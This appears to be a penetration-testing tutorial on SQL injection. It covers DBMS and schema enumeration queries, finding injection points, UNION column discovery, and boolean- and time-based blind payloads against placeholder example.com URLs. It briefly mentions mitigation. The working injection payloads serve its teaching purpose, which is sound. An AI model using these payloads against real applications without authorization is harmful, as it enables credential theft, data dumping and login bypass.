This is the multi-page printable view of this section. Click here to print.
Web Attack
1 - SQL Injection
Web applications often interact with SQL databases to Create, Read, Update, and Delete (CRUD) data through SQL queries. SQL injection occurs when a malicious user attempts to pass input that changes the SQL query sent by the web application to the database. First, attacker has to inject code outside the expected user limit so it does not get interpreted as user input. This is accomplished by using a single or double quote to escape the limits of user input.
Once injection has been established, the attacker have to look for a way to execute a different SQL statement. This can be done using SQL code to make up a working query that executes both the intended and new SQL queries via either stacker queries or Union queries.
SQLi can have a tremendous impact, especially if privileges on the back-end server and database are very lax. Sensitive information and secrets like user logins and payment information may be retrieved. SQL injection can also be used to subvert intended web application logic such as bypassing login without valid credentials as well as accessing features locked to specific users.
Common ways to mitigate against SQL injection include validation and sanitization of user input before they are included in SQL queries and the use of parameterized queries.
1.1 - Database Enumeration
Database Enumeration and dumping is a crucial component of SQL Injection testing after the vulnerability has been confirmed. We can extract various sensitive data, user credentials, and much more.
Database Identification
The first step is to identify the type and version of Database Management Systems (DBMS) we are interacting with:
MySQL:
SELECT @@version;
MSSQL:
SELECT @@version;
PostgreSQL:
SELECT version()
Database User
It may also be beneficial to enumerate the user that the web application is authenticating to the database as.
MySQL:
SELECT USER();
SELECT CURRENT_USER();
SELECT CURRENT_USER;
SELECT SESSION_USER();
MSSQL:
SELECT CURRENT_USER;
SELECT user_name();
SELECT system_user;
SELECT user;
PostgreSQL:
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
Database Schema
Database schema refers to the structure of the database, including the databases, tables, and columns. We can use SQL injection to dump those information to find interesting information for the purposes of our engagement.
MSSQL:
| Information | Payload |
|---|---|
| Database names | SELECT name FROM master..sysdatabases; OR SELECT name FROM master.sys.databases; |
| Table names | SELECT name FROM DB_NAME..sysobjects WHERE xtype = 'U'; |
| Column names | SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; |
MySQL:
| Information | Payload |
|---|---|
| Database names | SELECT schema_name FROM information_schema .schemata |
| Table names | SELECT table_name FROM information_schema.tables WHERE table_schema=DB_NAME |
| Column names | SELECT column_name FROM information_schema.columns WHERE table_schema=DB_NAME AND table_name=TB_NAME |
PostgreSQL:
| Information | Payload |
|---|---|
| Database names | SELECT datname FROM pg_database |
| Table names | SELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>' |
| Column names | SELECT column_name FROM information_schema.columns WHERE table_name='data_table' |
Dumping data
After finding what databases, tables and columns are stored on the database, we can dump them using SELECT statements.
Example:
SELECT username, password FROM users;
References
1.2 - SQLi Manual Testing Methodology
Discover Injection Points
The first step in the methodology for testing SQL injection is identify injection points where user input would be passed into a SQL query, which can be:
- HTTP GET/POST Parameters
- UserAgent Strings
- Cookies
We can try to insert the following SQL special characters into the query and see if they would produce a different response from the back-end:
'"- `
)))\
If we see errors messages or different page responses, it means these characters are being interpreted as part of the SQL statement, potentially revealing a viable injection point.
Types of SQL Injection
The next step of the exploitation process depends on the type of SQL injection we are dealing with:
- In-band SQLi: outputs are printed directly to the front-end.
- Union Based SQLi: we specify the exact column which we can read, so the query will direct the output to be printed there.
- Error Based SQLi: error is displayed in the front-end, and so we may intentionally cause an SQL error that returns the output of our query.
- Blind SQLi: We cannot retreive the output direclty. We resort to utilize SQL logic to retrieve the output character by character.
- Boolean Based SQLi: use SQL conditional statements to control whether the page returns the original query response if the injected conditional statement returns true.
- Time Based SQLi: use SQL conditional statements that delay the page response if the conditional statement returns
trueusing theSleep()function.
UNION-Based SQLi
UNION-based SQL injection achieves the injection of SQL statements via the use of a UNION clause, which is used to combine the output of two or more compatible SELECT statements.
Tip: The combined SELECT statements must have equal number of columns, and the data types must also be compatible.
With a UNION operator, we can append the output of a second compatible query to the output of the first one.
mysql> SELECT * FROM ports;
+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| ZZ-21 | Shenzhen |
+----------+-----------+
3 rows in set (0.00 sec)
mysql> SELECT * FROM ships;
+----------+-----------+
| Ship | city |
+----------+-----------+
| Morrison | New York |
+----------+-----------+
mysql> SELECT * FROM ports UNION SELECT * FROM ships;
+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| Morrison | New York |
| ZZ-21 | Shenzhen |
+----------+-----------+
4 rows in set (0.00 sec)
Identify Number of Columns
The first step in UNION-based SQL Injection is to identify the number of columns inside the statement we are injecting into. There are two ways to achieve this. The first uses the ORDER BY clause to order the output by the value of a certain column. Instead of using the column names we probably don’t know yet, we can use numbers to refer the the column instead. We increment the number until error appears
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
[...]
If column 5 causes an error, we know that there is only 4 columns
' ORDER BY 5-- -
The alternative method is to attempt a UNION injection with a different number of columns until we successfully get the results back. Since UNION operator requires both SELECT statements to have equal numbers of columns, we’ll get errors until we specify the same number of columns in our payload.
' UNION select 1-- -
' UNION select 1,2-- -
' UNION select 1,2,3-- -
Injection Location
The application may only display some columns from the query output. We cannot make use of columns not displayed for the purpose of UNION-based injection. To find suitable injection columns, we use a test value such as @@version or user() and try UNION it to different columns, and see under which one is the test value displayed.
- In the example below, suppose we see the MySQL version string in the second and third query. We know that column 2 and 3 are displayed on the front-end.
' UNION select @@version,2,3-- -
' UNION select 1,@@version,3-- -
' UNION select 1,2,@@version-- -
Blind SQL Injection
Blind SQL injection is a type of SQL injection that extract information by executing a series of conditional statements and observe the difference in response content or timing to determine whether the queried statement was true or not, thus circumventing the limitation of not having the query output included in back-end response.
It is recommended to use automated tools such as sqlmap to exploit Blind SQL injections.
Boolean-based
Boolean-based blind SQL injection rely on the application responding differently based on whether the injected query returns true or false.
Identify Injection Point and Confirm Vulnerability: Inject a payload that evaluates to true/false to confirm SQL injection vulnerability. For example:
http://example.com/item?id=1 AND 1=1 -- (Expected: Normal response)
http://example.com/item?id=1 AND 1=2 -- (Expected: Different response or error)
Extract Hostname Length: Guess the length of the hostname by incrementing until the response indicates a match. For example:
http://example.com/item?id=1 AND LENGTH(@@hostname)=1 -- (Expected: No change)
http://example.com/item?id=1 AND LENGTH(@@hostname)=2 -- (Expected: No change)
http://example.com/item?id=1 AND LENGTH(@@hostname)=N -- (Expected: Change in response)
Extract Hostname Characters : Extract each character of the hostname using substring and ASCII comparison, repeat until the entire string is discovered
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) > 64 --
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 --
Time-based
Time-based blind SQL injection works similarly to Boolean-based injections, but instead uses response time to determine whether a SQL statement evaluates to true or false. This is useful when no output from the query is provided by the application.
We can either make use of the SLEEP function:
' AND SLEEP(5)/*
' AND '1'='1' AND SLEEP(5)
' ; WAITFOR DELAY '00:00:05' --
Or computationally heavy query that takes a lot of time to complete:
BENCHMARK(2000000,MD5(NOW()))
If the condition we specify below evaluates to true, we would get a longer response time than usual. Using a similar methodology as Boolean-based injection, we are able to extract the output character-by-character.
http://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = '5', SLEEP(5), 0) --